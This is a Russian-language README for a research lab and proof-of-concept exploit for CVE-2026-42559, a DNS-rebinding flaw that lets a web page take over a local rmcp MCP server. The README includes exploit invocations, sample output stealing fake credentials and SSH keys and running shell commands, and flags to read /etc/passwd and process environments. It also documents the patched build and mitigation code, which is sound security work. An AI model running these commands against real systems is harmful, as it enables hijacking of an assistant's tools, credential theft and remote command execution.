
Docker-лаборатория и Python-эксплойт (proof-of-concept), демонстрирующие DNS-ребандинг через непроверенный заголовок Host в транспорте Streamable HTTP сервера rmcp (CVE-2026-42559). Включает уязвимую и исправленную сборки для тестирования.
| Затронуто | rmcp — официальный Rust SDK для Model Context Protocol — < 1.4.0 |
| Исправлено в | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (Ошибка проверки источника), CWE-350 |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Транспортный уровень Streamable HTTP сервера в rmcp < 1.4.0 никогда не проверял
входящий заголовок Host. MCP-серверы обычно привязаны к loopback-интерфейсу и
защищены только политикой same-origin браузера — которую DNS-ребinding обходит:
http://evil.example, обслуживаемый с DNS TTL в 1 секунду.evil.example → 127.0.0.1.fetch("http://evil.example:8000/mcp", …). Запрос попадает
на локальный MCP-сервер жертвы, но браузер по-прежнему считает его same-origin —
без CORS preflight, и JavaScript может читать каждый ответ.Единственное, что отличает этот запрос от легитимного, — заголовок Host:
evil.example:8000 вместо 127.0.0.1:8000. Без проверки страница атакующего
получает полноценную MCP-сессию и может перечислять и вызывать каждый инструмент,
который предоставляет сервер, — чтение файлов, запись, выполнение shell-команд,
всё, к чему был подключён ассистент.
В 1.4.0 добавлен StreamableHttpServerConfig::allowed_hosts, по умолчанию
["localhost", "127.0.0.1", "::1"], а также шлюз validate_dns_rebinding_headers()
в начале обработчика запросов, который в противном случае отвечает 403 Forbidden.
.
├── docker-compose.yml # два сервиса, один исходник, разные версии rmcp
├── mcp-server/ # реалистичный MCP-сервер «ассистента разработчика»
│ ├── Cargo.toml
│ ├── Dockerfile # аргумент сборки RMCP_VERSION фиксирует версию крейта
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, без зависимостей
Оба контейнера собирают один и тот же src/main.rs с одинаковой конфигурацией сервера.
Единственное отличие — зафиксированная версия крейта, поэтому изменение поведения
полностью исходит от библиотеки:
| Сервис | Порт | rmcp | Ожидаемый результат |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | поддельный Host принят → полная компрометация |
patched | 127.0.0.1:8001 | 1.4.0 | поддельный Host → 403 Forbidden |
Сервер предоставляет whoami, read_file и run_command, а в образ
помещены фейковые учётные данные в /home/dev/project/.env и
/home/dev/.ssh/id_ed25519, чтобы эксплойту было что похитить.
docker compose up -d --build
Эксплуатация уязвимой сборки:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- заголовок Host не проверяется
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] шаг 0: базовое рукопожатие с легитимным заголовком Host
[+] 200 OK -- сервер работает: rmcp 1.3.0
[*] шаг 1: повтор запроса после ребиндинга (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- поддельный заголовок Host принят: УЯЗВИМ к CVE-2026-42559
[+] сессия открыта с чужого источника: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] шаг 2: перечисление инструментов, теперь доступных странице атакующего
- read_file Прочитать файл с рабочей станции
- run_command Выполнить shell-команду на рабочей станции
- whoami Описать рабочую станцию, на которой работает этот ассистент
[*] шаг 3: вызов инструментов так, будто страница атакующего — локальный MCP-клиент
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] произвольное чтение и выполнение команд на хосте жертвы, из веб-страницы
Затем исправленная сборка, чтобы подтвердить фикс:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] шаг 0: базовое рукопожатие с легитимным заголовком Host
[+] 200 OK -- сервер работает: rmcp 1.4.0
[*] шаг 1: повтор запроса после ребиндинга (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: заголовок Host не разрешён
[+] НЕ УЯЗВИМ: эта сборка проверяет заголовок Host (rmcp >= 1.4.0)
Код выхода равен 1, когда цель уязвима, и 0, когда нет, поэтому
скрипт легко встраивается в CI.
Полезные флаги:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
Остановить стенд можно командой docker compose down.
Эксплойт открывает TCP-соединение к цели и записывает
контролируемый атакующим заголовок Host (http.client.putrequest(..., skip_host=True)).
Это байт-в-байт тот запрос, который отправляет браузер после ребиндинга — DNS-ребinding
это лишь механизм, заставляющий браузер отправлять чужой Host на loopback-сокет.
Воспроизведение таким способом ограничивает лабораторию двумя контейнерами без DNS-инфраструктуры,
при этом тестируется ровно тот путь кода, о котором идёт речь в CVE.
// 1. Обновитесь.
// rmcp = "1.4" (или новее)
// 2. Только loopback — это поведение по умолчанию начиная с 1.4.0 —
// для локально привязанного сервера ничего делать не нужно.
let config = StreamableHttpServerConfig::default();
// 3. Для настоящего публичного развёртывания добавьте свои имена в белый список.
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
Если вы не можете обновиться, разместите MCP-эндпоинт за обратным прокси,
который отклоняет неизвестные значения Host, и не привязывайте сервер к 0.0.0.0
без него. disable_allowed_hosts() существует, но возвращает именно эту уязвимость.
Всё здесь намеренно уязвимо и существует для исследований и обучения. Контейнеры по замыслу предоставляют инструмент выполнения shell-команд — запускайте лабораторию только на машине, которой владеете, и никогда не направляйте эксплойт на хост, который вам не разрешено тестировать.